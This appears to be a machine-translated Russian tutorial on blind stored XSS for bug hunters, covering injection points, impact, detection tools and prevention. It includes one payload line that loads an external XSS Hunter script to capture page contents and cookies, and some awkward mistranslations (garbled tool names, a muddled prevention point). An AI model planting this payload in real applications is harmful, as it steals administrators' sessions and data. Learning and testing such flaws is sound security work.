Понимание Blind XSS для поиска ошибок

Слепая XSS-уязвимость

Слепой XSS очень похож на хранимую атаку межсайтового скриптинга, когда входные данные, предоставленные злоумышленником, сохраняются или хранятся на веб-сервере, и эти сохраненные входные данные отражаются в различных других приложениях, которые связаны друг с другом. Он срабатывает только тогда, когда ввод злоумышленника сохраняется веб-сервером в базе данных и выполняется как вредоносный сценарий в другой части приложения или другом приложении.

Злоумышленники или хакеры «вслепую» внедряют вредоносный сценарий или полезную нагрузку на некоторые веб-страницы, не имея никаких гарантий, что они будут выполняться. Веб-страницы, которые могут сохранять свою полезную нагрузку в базе данных, являются наиболее важным носителем для атак Blind XSS.

Если контактная форма является частью веб-страницы и должна хранить свои данные на веб-сервере или в базе данных, то здесь злоумышленники приходят со своей атакой. Злоумышленник вводит код в контактные формы и ждет, пока пользователь на стороне сервера или член команды откроет или запустит этот вредоносный код или полезную нагрузку для выполнения.

Blind XSS — это постоянная (сохраненная) атака с использованием межсайтовых сценариев. Это другой вызов. Это не похоже на Blind SQLI, где вы получаете быструю обратную связь. Вы понятия не имеете, где окажутся ваши вредоносные скрипты. По правде говоря, вы даже не знаете, будет ли выполняться ваш вредоносный скрипт или полезная нагрузка или когда она будет выполняться.

Схематическое представление слепого XSS:

Влияние

С помощью межсайтового скриптинга можно использовать множество различных атак, в том числе:

1. Перехват активной сессии пользователя.
2. Установка фишинговых атак.
3. Перехват данных и выполнение атак «человек посередине».

Слепые XSS-атаки могут происходить в:

1. Страницы контактов/отзывов
2. Просмотрщики журнала
3. Обработчики исключений
4. Чат-приложения/форумы
5. Заявки на билеты клиентов
6. Брандмауэры веб-приложений
7. Любое приложение, требующее пользовательской модерации
8. Приложения для обслуживания клиентов

Примеры:

Поля ввода:

Например, представьте, что у вас есть внутреннее приложение для управления ассортиментом интернет-магазина. В этом приложении дилеры вводят информацию о различных продуктах, которые хранятся на сервере базы данных. Эта же база данных также используется приложением интернет-магазина, которое доступно в Интернете для всех клиентов и должно считывать информацию о продукте из исходной базы данных. Если пользователь внедряет вредоносную строку во внутреннее приложение, неважно, правильно ли интернет-магазин реализовал средства проверки ввода, так как информация в магазине считывается из той же базы данных, поэтому магазин покажет атаку.

Формы обратной связи:

Например, в формах обратной связи злоумышленник может отправить вредоносную полезную нагрузку с помощью формы, и как только серверный пользователь/администратор приложения откроет отправленную атакующим форму через серверное приложение, полезная нагрузка злоумышленника будет выполнена. Слепой межсайтовый скриптинг трудно подтвердить в реальном сценарии, но одним из лучших инструментов для этого является XSS Hunter.

Обработчики исключений :

Другим примером слепых XSS-атак являются решения для ведения журналов, такие как обработчики исключений. Злоумышленник может использовать API логгера, чтобы зарегистрировать какой-то вредоносный код вместо ошибки. На приборной панели решения по обработке исключений, где отображаются зарегистрированные ошибки, вредоносный код будет отображаться и выполняться.

Чат форума:

Злоумышленники могут размещать вредоносные скрипты в названии темы на форуме или в чате форума. Опять же, чаще всего сервер сохраняет их сообщение в базе данных, и сохраненная информация может через некоторое время стать доступной для других зрителей, таких как модераторы. В этом случае сценарий может стать чистым при доставке обычным пользователям, что отключит вредоносный код. Однако, когда модератор форума загружает веб-страницу управления форумом, например, отчет о популярности темы, могут быть загружены вредоносные заголовки тем, и, следовательно, будет выполнен сценарий злоумышленника, который перезвонит с украденной информацией, перенаправит пользователя или вызывать атаки типа «отказ в обслуживании», например, вызывая код в интерфейсе администратора, который останавливает форум. Типичными целями пользователей являются модераторы форумов или форумов чатов, которые загружают содержимое форума из веб-сеансов управления для выполнения административных задач, и цель опять-таки связана с безопасностью.

Обнаружение слепого XSS в веб-приложениях для поиска ошибок:

Существуют инструменты, которые значительно облегчают обнаружение и борьбу с этим. XSS Hunter — это фантастический инструмент для обнаружения Blind XSS в любом веб-приложении.

Как это работает, вы вводите полезную нагрузку как внешний тег JavaScript:

(<script src=//yoursubdomain.xss.ht></script>)

Когда в приложении присутствует уязвимость XSS, этот скрипт будет выполняться клиентом, и полезная нагрузка скрипта будет выполняться. Полезная нагрузка сделает снимок страницы, а также исходный код HTML, файлы cookie (без установки HttpOnly) и другую полезную важную информацию. Теперь мы можем сузить уязвимость XSS всякий раз, когда пользователь запускает ее. Еще одна замечательная особенность этого инструмента заключается в том, что он имеет открытый исходный код, поэтому вы также можете настроить частный экземпляр.

Еще несколько инструментов обнаружения доступны в Интернете:

1. Сотрудник отрыжки
2. KnoXSS
3. bXSS Охотник

Предотвращение слепых XSS-атак:

Как и наступательная сторона, оборонительная сторона также очень важна для безопасности.
Итак, вот некоторые защитные стороны или шаги по предотвращению, чтобы защитить ваше веб-приложение от Blind XSS.

1. Наиболее распространенный и эффективный способ добиться этого — веб-разработчики, которые просматривают код и обеспечивают надлежащую фильтрацию любого пользовательского ввода.
2. Вам нужен специализированный инструмент, который выполняет безобидное тестирование на проникновение, которое помимо обнаружения легко обнаруживаемых уязвимостей XSS.
3. Если ваш веб-сайт реализован с использованием новейших технологий, таких как HTML 5, или вы гарантируете, что ваш веб-сервер полностью исправлен, веб-приложение все еще может быть уязвимо для XSS.
4. Хорошей практикой кодирования является никогда не доверять данным, предоставленным пользователем.